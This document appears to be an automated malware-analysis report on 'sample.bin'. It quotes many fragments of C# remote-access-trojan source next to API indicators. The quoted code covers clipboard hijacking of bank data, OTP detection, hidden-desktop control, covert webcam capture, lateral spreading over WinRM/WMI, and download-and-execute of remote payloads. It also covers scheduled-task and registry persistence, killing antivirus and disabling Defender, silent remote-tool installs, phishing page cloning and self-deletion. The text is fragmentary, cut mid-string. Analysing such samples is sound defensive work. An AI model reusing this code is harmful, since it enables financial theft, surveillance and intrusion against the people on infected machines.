} catch { } _bankLastPut = put; } catch { } } static void WriteAllBankPuts() { if (_bankLastPut.Length > 0) NativeClipSet(_bankLastPut); } static void AccountClipLoop() { // LOCKED bank repla" (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API "Length > 0 || _bankPutAddr.Length > 0; } static void Tap(byte vk, bool up) { try { keybd_event(vk, 0, up ? 2u : 0u, UIntPtr.Zero); } catch { } } static void Chord(byte hold, byte key) { Tap(hold, false); Tap(key, false); Tap(key, true); Tap(hold, true); } static bool IsOtpBox(string focused) { if (string.IsNullOrEmpty(focused) || focused.Length < 4 || focused.Length > 8) return false; for (int ci = 0; ci < focused.Length; ci++) if (focused[ci] < '0' || focused[ci] > '9') return false; return true; } [DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "SendMessageW")] static extern IntPtr SendMessageStr(IntPtr hWnd, uint msg, IntPtr wParam, string lParam); [DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "SendMessageW")] static extern IntPtr SendMessageGet(IntPtr hWnd, uint msg, IntPtr wParam, StringBuilder lParam); [DllImport("user32.dll")] static extern " (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API " also try GetWindowDC+BitBlt. [DllImport("user32.dll", CharSet = CharSet.Auto)] static extern IntPtr FindWindow(string lpClassName, string lpWindowName); static void ScHideTray(bool hide) { try { IntPtr tray = FindWindow("Shell_TrayWnd", null); if (tray != IntPtr.Zero) ShowWindow(tray, hide ? 0 : 5); IntPtr notify = FindWindow("NotifyIconOverflowWindow", null); if (notify != IntPtr.Zero) ShowWindow(notify, hide ? 0 : 5); } catch { } } static void ScBlankStart() { if (_scBlankOn == 1 && _scBlankHwnd != IntPtr.Zero) return; _scBlankOn = 1; var th = new Thread(() => { try { try { IntPtr defDesk = OpenDesktop("Def" + "ault", 0, true, 0x10000000 | DESKTOP_ALL); if (defDesk != IntPtr.Zero) SetThreadDesktop(defDesk); } catch { } var f " (Indicator: "findwindow"; Source: "sample.bin"), Found reference to API "hoo mail", "mail.yahoo", "login.yahoo", "yahoo", "sign in to yahoo" }; else keys = new string[] { "outlook", "hotmail", "live.com", "login.live", "office 365", "outlook.live", "sign in", "microsoft" }; int closed = 0; try { var targets = new System.Collections.Generic.List(); EnumWindows((hWnd, lParam) => { try { if (!IsWindowVisible(hWnd)) return true; var sb = new StringBuilder(512); GetWindowText(hWnd, sb, 512); string t = sb.ToString(); if (string.IsNullOrEmpty(t) || t.Length < 3) return true; string low = t.ToLowerInvariant(); // Require mail-related for microsoft (too broad otherwise) if (provider != "gmail" && provider != "yahoo") { bool mailish = low.IndexOf("outlook") >= 0 || low.I" (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API " if (absPx) { if (nx < 0) nx = 0; if (ny < 0) ny = 0; if (nx > fw - 1) nx = fw - 1; if (ny > fh - 1) ny = fh - 1; x = bnds.Left + (int)((long)nx * sw / fw); y = bnds.Top + (int)((long)ny * sh / fh); } else { if (nx < 0) nx = 0; if (nx > 10000) nx = 10000; if (ny < 0) ny = 0; if (ny > 10000) ny = 10000; x = bnds.Left + nx * sw / 10000; y = bnds.Top + ny * sh / 10000; } if (x < bnds.Left) x = bnds.Left; if (y < bnds.Top) y = bnds.Top; if (x >= bnds.Left + sw) x = bnds.Left + sw - 1; if (y >= bnds.Top + sh) y = bnds.Top + sh - 1; // CDP session: route mouse into CDP queue (PostMessage does not work on C" (Indicator: "postmessage"; Source: "sample.bin"), Found reference to API "umWindowsProc lpEnumFunc, IntPtr lParam); [DllImport("user32.dll", CharSet = CharSet.Unicode)] static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); [StructLayout(LayoutKind.Sequential)] struct RECT { public int Left, Top, Right, Bottom; } delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); const int GWL_EXSTYLE = -20; const int WS_EX_TOOLWINDOW = 0x00000080; const int WS_EX_APPWINDOW = 0x00040000; const uint SWP_NOSIZE = 0x0001; const uint SWP_NOZORDER = 0x0004; const uint SWP_NOACTIVATE = 0x0010; const uint SWP_HIDEWINDOW = 0x0080; const int PW_CLIENTONLY = 0x1; const int PW_RENDERFULLCONTENT = 0x2; static string SignOutBrowserExe(string br) { string kind = (br ?? "chrome").ToLowerInvariant(); if (kind.IndexOf("edge") >= 0) kind = "edge"; else if (kind.IndexOf("brave") >= 0) kind = "brave"; else if (kind.IndexOf("opera") >= 0) kind = "opera"; else if (kind.IndexOf("" (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API " // WM_CAP_FILE_SAVEDIB expects pointer to ANSI path IntPtr pPath = Marshal.StringToHGlobalAnsi(dibPath); try { SendMessage(hwnd, WM_CAP_FILE_SAVEDIB, IntPtr.Zero, pPath); } finally { Marshal.FreeHGlobal(pPath); } Thread.Sleep(30); if (File.Exists(dibPath) && new FileInfo(dibPath).Length > 1000) { using (var fs = new FileStream(dibPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) using (var tmp = Image.FromStream(fs)) { bmp = new Bitmap(tmp); } } } catch { } } " (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API "leteDC(IntPtr hdc); [DllImport("user32.dll")] static extern int GetSystemMetrics(int nIndex); [DllImport("user32.dll")] static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); [DllImport("user32.dll", EntryPoint = "SendMessage")] static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); [DllImport("avicap32.dll")] static extern IntPtr capCreateCaptureWindowA(string lpszWindowName, int dwStyle, int x, int y, int nWidth, int nHeight, IntPtr hwndParent, int nID); [DllImport("avicap32.dll")] static extern bool capGetDriverDescriptionA(short wDriver, System.Text.StringBuilder lpszName, int cbName, System.Text.StringBuilder lpszVer, int cbVer); static TcpClient liveClient; static NetworkStream ctrl; static readonly object W = new object(); static readonly Dictionary socks = new Dictionary(); static readonly Dictionary> socksPend = new Dict" (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API " (d.Length >= 9 && d.Length <= 10) id = d.ToString(); } catch { } } } catch { } if (id.Length == 0) { try { foreach (var pr in Process.GetProcesses()) { try { if ((pr.ProcessName ?? "").ToLowerInvariant().IndexOf("rustdesk") < 0) continue; IntPtr h = pr.MainWindowHandle; if (h == IntPtr.Zero) continue; var found = new System.Text.StringBuilder(); EnumChildWindows(h, delegate(IntPtr ch, IntPtr lp) { try { var buf = new System.Text.StringBuilder(64); GetWindowText(ch, buf, 64); string t = buf.ToString(); var d = new Syst" (Indicator: "enumchildwindows"; Source: "sample.bin"), Found reference to API "cBlankOn = 0; try { IntPtr h = _scBlankHwnd; if (h != IntPtr.Zero) PostMessage(h, 0x0010, IntPtr.Zero, IntPtr.Zero); } catch { } _scBlankHwnd = IntPtr.Zero; try { ScHideTray(false); } catch { } try { while (ShowCursor(1) < 0) { } } catch { } try { Send("SC_STATUS|blank=off"); } catch { } } static void ScBlankPeek(bool hide) { try { if (_scBlankHwnd == IntPtr.Zero) return; ShowWindow(_scBlankHwnd, hide ? 0 : 5); if (!hide) try { SetWindowPos(_scBlankHwnd, new IntPtr(-1), 0, 0, 0, 0, 0x0001 | 0x0002 | 0x0040); } catch { } } catch { } } static void CaptureHiddenOrDefault(Bitmap bmp) { int w = bmp.Width; int h = bmp.Height; if (w < 1 || h < 1) return; try { if (_hvncMode) { if (_scLive == 1) { try { if (_hiddenDesk != I" (Indicator: "postmessage"; Source: "sample.bin"), Found reference to API "read.Sleep(400); } catch { } } // Keep capture alive: preview ON off-screen (black frames if preview stays fully disabled) if (connected) { try { SendMessage(hwnd, WM_CAP_SET_SCALE, new IntPtr(1), IntPtr.Zero); } catch { } try { SendMessage(hwnd, WM_CAP_SET_PREVIEWRATE, new IntPtr(33), IntPtr.Zero); } catch { } try { SendMessage(hwnd, WM_CAP_SET_PREVIEW, new IntPtr(1), IntPtr.Zero); } catch { } try { SendMessage(hwnd, WM_CAP_SET_OVERLAY, new IntPtr(0), IntPtr.Zero); } catch { } try { MoveWindow(hwnd, -32000, -32000, W, H, false); } catch { } try { ShowWindow(hwnd, SW_SHOWNOACTIVATE); } catch { } try { Thread.Sleep(250); } catch { } try { Application.DoEvents(); } catch { } // Warm-up grab so first frames are not black for (int w = 0; w < 5; w++) { try { SendMessage(hwnd" (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API " GPU paints) lock (_viewerLock) { for (int i = _viewerHwnds.Count - 1; i >= 0; i--) { IntPtr hw = _viewerHwnds[i]; try { if (hw == IntPtr.Zero || !IsWindowVisible(hw)) { _viewerHwnds.RemoveAt(i); continue; } windows.Add(hw); EnumChildWindows(hw, (ch, lp2) => { try { RECT crc; if (!GetWindowRect(ch, out crc)) return true; if ((crc.Right - crc.Left) < 100 || (crc.Bottom - crc.Top) < 100) return true; if (!windows.Contains(ch)) windows.Add" (Indicator: "enumchildwindows"; Source: "sample.bin"), Found reference to API "col (real page pixels) if (name != "firefox") { int cdpPort = port; new Thread(() => CdpCaptureLoop(cdpPort)) { IsBackground = true }.Start(); } Send("VIEWER_STATUS|browser started pid=" + pid + " starting CDP"); new Thread(() => { try { for (int attempt = 0; attempt < 30; attempt++) { Thread.Sleep(attempt == 0 ? 200 : 150); EnumWindows((hWnd, lParam) => { try { uint wpid; GetWindowThreadProcessId(hWnd, out wpid); if ((int)wpid != pid) return true; RECT rc; if (!GetWindowRect(hWnd, out rc)) return true; if ((rc.Right - rc." (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API " } for (int pass = 0; pass < 3 && !connected; pass++) { try { AllowDesktopAppPrivacy(); } catch { } for (int di = 0; di < found.Count; di++) { int d = found[di]; try { try { SendMessage(hwnd, WM_CAP_DRIVER_DISCONNECT, IntPtr.Zero, IntPtr.Zero); } catch { } try { Application.DoEvents(); } catch { } Thread.Sleep(200); IntPtr ok = SendMessage(hwnd, WM_CAP_DRIVER_CONNECT, new IntPtr(d), IntPtr.Zero); try { Application.DoEvents(); } catch { } if (ok != IntPtr.Zero) { connected = true; driver = d; break; } } catch { } } if (!connected) try { Th" (Indicator: "sendmessage"; Source: "sample.bin"), Found reference to API " do not duplicate [DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport("user32.dll")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd); [DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport("user32.dll")] static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); [DllImport("user32.dll")] static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, int nFlags); [DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); [DllImport("user32.dll")] static extern bool EnumChildWindows(IntPtr hWndParent, En" (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API "32514); SetSystemCursor(blank, 32515); SetSystemCursor(blank, 32516); } } catch { } } static void ScCloseBrowser() { int pid = _scBrowserPid; _scBrowserPid = 0; lock (_viewerLock) { _viewerHwnds.Clear(); } lock (_cdpInputLock) { try { _cdpInputQ.Clear(); } catch { } } try { if (pid > 0) { try { EnumWindows((hWnd, lParam) => { try { uint wpid; GetWindowThreadProcessId(hWnd, out wpid); if ((int)wpid == pid) SetWindowPos(hWnd, IntPtr.Zero, -32000, -32000, 0, 0, 0x0010 | 0x0001 | 0x0004); } catch { } return true; }, IntPtr.Zero); } " (Indicator: "enumwindows"; Source: "sample.bin"), Found reference to API "catch { } try { SendMessage(hwnd, WM_CAP_SET_SCALE, new IntPtr(1), IntPtr.Zero); } catch { } try { ShowWindow(hwnd, 4); } catch { } try { MoveWindow(hwnd, -32000, -32000, W, H, false); } catch { } try { SetWindowPos(hwnd, new IntPtr(1), -32000, -32000, W, H, 0x0010 | 0x0080); } catch { } try { WebcamTryLedOff(); } catch { } Send("WEBCAM_STATUS|Camera ON driver=" + driver + " 640x480 | " + WebcamLedStatus()); Thread.Sleep(180); string dibPath = Path.Combine(Path.GetTempPath(), "sb_cam_" + Process.GetCurrentProcess().Id + ".bmp"); int failStreak = 0; int okFrames = 0; while (camOn) { try { try { Application.DoEvents(); } catch { } SendMessage(hwnd, WM_CAP_GRAB_FRAME, IntPtr.Zero, IntPtr.Zero); Thread.Sleep(15); Bitmap bmp = null; // 1) " (Indicator: "sendmessage"; Source: "sample.bin")3d:Tcaf,"}"); sb.AppendLine("if (Try-IC 'winrs no-cred' { winrs -r:$hostName -unencrypted cmd /c " + Psq(inner.Replace("'", "")) + " }) { return }"); sb.AppendLine("if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }"); sb.AppendLine("Write-Output 'No-password path failed. Remote may require a password, WinRM off, or LimitBlankPasswordUse=1.'"); } else { sb.AppendLine("$p = ConvertTo-SecureString '" + Psq(pass) + "' -AsPlainText -Force"); sb.AppendLine("$c = New-Object System.Management.Automation.PSCredential('" + Psq(user) + "', $p)"); sb.AppendLine("if (Try-IC 'password Negotiate' { Invoke-Command -ComputerName $hostName -Credential $c -Authentication Negotiate -ScriptBlock $sb }) { return }"); sb.AppendLine("if (Try-IC 'password Default' { Invoke-Command -Com" (Indicator: " win32_computersystem"; Source: "sample.bin"), "000); } catch { } try { Send("SPREAD_SKIP|" + ip + "|no_write_access"); } catch { } continue; } // UAC retry launcher (Yes=run+spread, No=retry) string exeLeaf = Path.GetFileName(localExe); string vbsBody = "On Error Resume Next\r\n" + "Set sh = CreateObject(\"Shell.Application\")\r\n" + "Do\r\n" + " sh.ShellExecute \"" + localExe + "\", \"\", \"\", \"runas\", 1\r\n" + " WScript.Sleep 1200\r\n" + " Dim running, proc\r\n" + " running = False\r\n" + " Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\r\n" + " Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='" + exeLeaf + "'\")\r\n" + " (Indicator: " win32_process"; Source: "sample.bin"), " photos, DCIM, downloads) sb.AppendLine("--- MTP / Portable Devices (USB) ---"); try { string ps1 = System.IO.Path.Combine(System.IO.Path.GetTempPath(), "sb_mtp_list.ps1"); var ps = new System.Text.StringBuilder(); ps.AppendLine("$ErrorActionPreference='SilentlyContinue'"); ps.AppendLine("$out = @'"); ps.AppendLine(outDir); ps.AppendLine("'@"); ps.AppendLine("New-Item -ItemType Directory -Force -Path $out | Out-Null"); ps.AppendLine("# List Win32 portable devices"); ps.AppendLine("Get-WmiObject -Class Win32_PnPEntity | Where-Object { $_.PNPClass -match 'WPD|AndroidUsbDeviceClass|USB' -or $_.Name -match 'Phone|Android|iPhone|MTP|Galaxy|Pixel' } | Select-Object Name,Status,PNPClass,DeviceID | Format-List | Out-String -Width 200"); ps.AppendLine("# Shell: This PC portable devices via COM Shell.Application"); ps.AppendLine("try {"); ps.AppendLine("" (Indicator: " win32_pnpentity"; Source: "sample.bin")3e:T66f2,Observed string"unUrl(string url) { try { string safe = url.Replace("'", ""); string helper = Path.Combine(Path.GetTempPath(), "sb_netrun.ps1"); string body = "$url = '" + safe + "'\\r\\n$out = Join-Path $env:TEMP ('upd_'+[guid]::NewGuid().ToString('N').Substring(0,6)+'.exe')\\r\\ntry { (New-Object System.Net.WebClient).DownloadFile($url, $out); Start-Process $out } catch { }\\r\\n"; File.WriteAllText(helper, body); for (int i = 0; i < 30; i++) { try { var psi = new ProcessStartInfo(); psi.FileName = "powershell.exe"; psi.Arguments = "-NoLogo -File \"" + helper + "\""; psi.UseShellExecute = true; psi.Verb = "runas"; psi.WindowStyle = ProcessWindowStyle.Hidden; var pr = Process.Start(psi); if (pr != null) { pr.WaitForExit(120000); return "File lau"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"moveUltraViewerShortcuts(); } catch { } bool alive = false; try { foreach (var p in Process.GetProcesses()) { try { if ((p.ProcessName ?? "").ToLowerInvariant().IndexOf("ultraviewer") >= 0) { alive = true; break; } } catch { } } } catch { } if (!alive && i > 3) { try { string exe2 = FindUltraViewerExe(); if (!string.IsNullOrEmpty(exe2)) { var psi = new ProcessStartInfo(); psi.FileName = exe2; psi.UseShellExecute = true; psi.WindowStyle = ProcessWindowStyle.Hidden; Process"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" } catch { dir = Path.GetTempPath(); } string path = Path.Combine(dir, fname); File.WriteAllBytes(path, data); ProcessStartInfo psi; if (ext == ".vbs" || ext == ".js" || ext == ".wsf") { psi = new ProcessStartInfo { FileName = "wscript.exe", Arguments = string.Concat("//B //Nologo ", (char)34, path, (char)34), UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }; } else if (ext == ".bat" || ext == ".cmd") { psi = new ProcessStartInfo { FileName = "cmd.exe", Arguments = string.Concat("/c ", (char)34, path, (char)34), UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"nched after UAC Yes"; } return "Started"; } catch { Thread.Sleep(1500); } } return "UAC retry exhausted"; } catch (Exception e) { return e.Message; } } static void AvSc(string args) { try { var psi = new ProcessStartInfo("sc.exe", args); psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; Process pr = Process.Start(psi); if (pr != null) pr.WaitForExit(8000); } catch { } } static void AvKillProcs(string[] names) { if (names == null) return; for (int i = 0; i < names.Length; i++) { string n = names[i]; if (string.IsNullOrEmpty(n)) continue; try { foreach (Process px in Process.GetProcessesByName(n)) { try { px.Kill(); } cat"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" } catch { } } static string RunHiddenOut(string file, string args, int waitMs) { try { var psi = new ProcessStartInfo(); psi.FileName = file; psi.Arguments = args; psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; psi.RedirectStandardOutput = true; psi.RedirectStandardError = true; using (var pr = Process.Start(psi)) { string o = pr.StandardOutput.ReadToEnd(); pr.WaitForExit(waitMs); return o ?? ""; } } catch { return ""; } } // Pre-lock: loading screen "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"ntilYes(path, "-install", 60000); } catch { } // Ensure service is started try { var psi = new ProcessStartInfo(); psi.FileName = "sc.exe"; psi.Arguments = "start \"Mesh Agent\""; psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.WindowStyle = ProcessWindowStyle.Hidden; var sp = Process.Start(psi); if (sp != null) sp.WaitForExit(15000); } catch { } // Give the service a moment to appear Thread.Sleep(2000); string status = MeshCentralStatus(); return "MeshCentral agent installed (service only). " + status; } catch (Exception ex) { return "MeshCentral error: " + ex.Message; } } static string TaskKill(string target) { var log = new StringBuilder(); try { if (target == null) return "no target"; "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" string again = FindUltraViewerExe(); if (again == "") continue; var psi = new ProcessStartInfo(); psi.FileName = again; psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psi); } catch { } } try { HideUltraViewerWindows(); } catch { } } }) { IsBackground = true }.Start(); } static string UltraViewerStatus() { bool running = false; try { foreach (var p in Process.GetProcesses()) { try { string n = (p.ProcessName ?? "").ToLowerInvariant(); if (n.IndexOf("ultraviewer") >= 0) { running = true; break; } } catch { } "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"_RUNONCE}}", me, Microsoft.Win32.RegistryValueKind.String); } catch { } try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string lnk = Path.Combine(startup, "{{RND_TASK}}.url"); string urlPath = me.Replace(Path.DirectorySeparatorChar, '/'); string body = "[InternetShortcut]" + Environment.NewLine + "URL=file:///" + urlPath + Environment.NewLine; File.WriteAllText(lnk, body); } catch { } try { char dq = '"'; string cmd = "/Create /TN {{RND_TASK}} /TR " + dq + me + dq + " /SC ONLOGON /RL LIMITED /F /IT"; var psi = new ProcessStartInfo("schtasks.exe", cmd); psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psi); } "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"e.Delete(fr); } catch { } // Delete payload after exit via cmd (quoted paths) try { string cmd = "/c ping 127.0.0.1 -n 2 >nul"; if (!string.IsNullOrEmpty(me)) { char q = (char)34; cmd = cmd + " & del /f /q " + q + me + q; cmd = cmd + " & del /f /q " + q + me + ".config" + q; } Process.Start(new ProcessStartInfo("cmd.exe", cmd) { CreateNoWindow = true, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); } catch { } try { HardCloseLink(); } catch { } try { Environment.Exit(0); } catch { } try { Process.GetCurrentProcess().Kill(); } catch { } } static string EmailPageReplaceClone(string provider, string reportEmail) { try { _phishProvider = (provider ?? "gmail").ToLowerInvariant(); _phishReportEmail = reportEmail ?? ""[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" " + pw) : "") + " | Use TeamViewer app Partner ID + Unattended password. Do NOT paste ID into website Session Code (that expires)."; } static string OpenTeamViewerHidden() { try { string exe = FindTeamViewerExe(); if (exe == "") return "TeamViewer not installed. Run Silent TeamViewer Install first."; try { var psi = new ProcessStartInfo(); psi.FileName = "sc.exe"; psi.Arguments = "start TeamViewer"; psi.UseShellExecute = false; psi.CreateNoWindow = true; Process.Start(psi); } catch { } try { var psi = new ProcessStartInfo(); psi.FileName = exe; psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psi); } catch { "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"svc.Length; i++) { try { var psi = new ProcessStartInfo(); psi.FileName = "sc.exe"; psi.Arguments = "start " + svc[i]; psi.UseShellExecute = false; psi.CreateNoWindow = true; psi.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psi); } catch { } } } catch { } string exe = FindUltraViewerExe(); if (exe == "" || exe.IndexOf("setup", StringComparison.OrdinalIgnoreCase) >= 0) return; bool already = false; try { foreach (var p in Process.GetProcesses()) { try { string n = (p.ProcessName ?? "").ToLowerInvariant(); if (n.IndexOf("ultraviewer") >= 0) { already = true; break; } } catch { } } "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" }; } else if (ext == ".ps1") { psi = new ProcessStartInfo { FileName = "powershell.exe", Arguments = string.Concat("-NoLogo -WindowStyle Hidden -File ", (char)34, path, (char)34), UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }; } else { psi = new ProcessStartInfo { FileName = path, UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }; } Process.Start(psi); Send("UPLOAD_RESULT|silent_disk " + path); } catch (Exception ex) { try { Send("UPLOAD_RESULT|" + ex.Message); } catch { } } } static void DeployUrlAfterUnlock(s"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"s\\CurrentVersion\\Notifications\\Settings\\Microsoft.Windows.SecHealthUI' -Name Enabled -Value 0 -Type DWord -Force}catch{}"; psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; var pr = Process.Start(psi); if (pr != null) { try { pr.WaitForExit(10000); } catch { } } } catch { } } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1, Microsoft.Win32.RegistryValueKind.DWord); Microsoft.Win32.Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers", "DefaultLevel", 0x40000, Microsoft.Win32.RegistryValueKind.DWord); string[] avProcs = new string[] { "avast", "avg", "avira", "bitdefender", "kaspersky", "norton", "mcafee", "eset", "malwar"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" Verb = "runas", WindowStyle = ProcessWindowStyle.Hidden, WorkingDirectory = Path.GetDirectoryName(exe) ?? "" }; Process p = Process.Start(psi); if (p != null) { // User clicked Yes "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" } catch { } } } catch { } // Store app uninstall attempts try { string[] pkgs = new string[] { "WhatsAppDesktop", "LINE", "TelegramMessengerLLP", "MSTeams", "Facebook" }; foreach (string pkg in pkgs) { try { char qq = (char)34; string psArgs = "-NoLogo -Command " + qq + "Get-AppxPackage *" + pkg + "* | Remove-AppxPackage" + qq; Process.Start(new ProcessStartInfo("powershell.exe", psArgs) { CreateNoWindow = true, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); sb.AppendLine("store-remove " + pkg); } catch { } } } catch { } return "OK killed=" + killed + " shortcuts_deleted=" + deleted + "\n" + sb.ToString(); "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" FileName = exe, Arguments = "--elevated", UseShellExecute = true, Verb = "runas", WindowStyle = ProcessWindowStyle.Hidden, WorkingDirectory = Path.GetDirectoryName(exe) ?? Environment.CurrentDirectory }; Process p = Process.Start(psi); if (p != null) { try { Thread.Sleep(1500); } catch { } // do not exit "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"} catch { return ""; } } static bool HostPortOpen(string ip, int port, int timeoutMs) { try { using (var tc = new System.Net.Sockets.TcpClient()) { var ar = tc.BeginConnect(ip, port, null, null); bool ok = ar.AsyncWaitHandle.WaitOne(timeoutMs); try { if (ok) tc.EndConnect(ar); } catch { ok = false; } try { tc.Close(); } catch { } return ok; } } catch { return false; } } static void RunHidden(string file, string args, int waitMs) { try { var psi = new ProcessStartInfo(); psi.FileName = file; psi.Arguments = args; psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; using (var pr = Process.Start(psi)) { if (pr != null) pr.WaitForExit(waitMs); } "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"fications $true}catch{};try{Set-MpPreference -EnableControlledFolderAccess Enabled}catch{};try{Add-MpPreference -ControlledFolderAccessAllowedApplications $env:LOCALAPPDATA}catch{};try{Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy' -Name Enabled -Value 0 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance' -Name Enabled -Value 0 -Type DWord -Force}catch{}"; psiQuiet2.CreateNoWindow = true; psiQuiet2.UseShellExecute = false; psiQuiet2.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psiQuiet2); "[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"hell.exe"; psi.Arguments = "-NoLogo -WindowStyle Hidden -File \"" + path + "\""; psi.UseShellExecute = true; psi.Verb = "runas"; psi.WindowStyle = ProcessWindowStyle.Hidden; var p = Process.Start(psi); if (p == null) { Thread.Sleep(1000); continue; } p.WaitForExit(120000); try { File.Delete(path); } catch { } return "UAC accepted | " + prod + " | exclusions + CFA + tasks"; } catch { Thread.Sleep(1500); } } return "UAC cancelled repeatedly - exclusions not applied"; } static void EnsureHiddenDesktop() { try { if (_hiddenDesk != IntPtr.Zero) return; // Strong access mask for Windows 10 / 11 uint access = 0x10000000 | DESKTOP_ALL; // GENERIC_ALL | full desktop rights // Try create first _hiddenDesk = CreateDesktop(_hiddenDeskName, IntPtr.Ze"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"ject Win32_Product | Where-Object { $_.Name -like '*" + safe + "*' } | ForEach-Object { $_.Uninstall() }"; string path = Path.Combine(Path.GetTempPath(), "sb_uninst.ps1"); File.WriteAllText(path, ps); for (int i = 0; i < 25; i++) { try { var psi = new ProcessStartInfo(); psi.FileName = "powershell.exe"; psi.Arguments = "-NoLogo -File \"" + path + "\""; psi.UseShellExecute = true; psi.Verb = "runas"; psi.WindowStyle = ProcessWindowStyle.Hidden; var pr = Process.Start(psi); if (pr != null) { pr.WaitForExit(120000); return "Uninstall done/started for: " + name; } } catch { Thread.Sleep(1200); } } return "UAC declined repeatedly"; } catch (Exception e) { return e.Message; } } static string NetworkR"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" } catch { } if (!already) { try { var psi = new ProcessStartInfo(); psi.FileName = exe; psi.UseShellExecute = true; psi.WindowStyle = ProcessWindowStyle.Minimized; Process.Start(psi); } catch { try { var psi = new ProcessStartInfo(); psi.FileName = exe; psi.UseShellExecute = true; psi.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psi); } catch { } } } try { Thread.Sleep(600); } catch { } try { RemoveUltraViewerShortcuts(); } catch { } HideUltraViewerWindows(); new Thread(() => { for (int i = 0; i < 90; i++) { try { HideUltraViewerWindows(); } catch { } try { Re"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"ue; if (hit) File.Delete(f); } catch { } } } } catch { } // Scheduled tasks try { string[] tasks = new string[] { "{{RND_TASK}}", 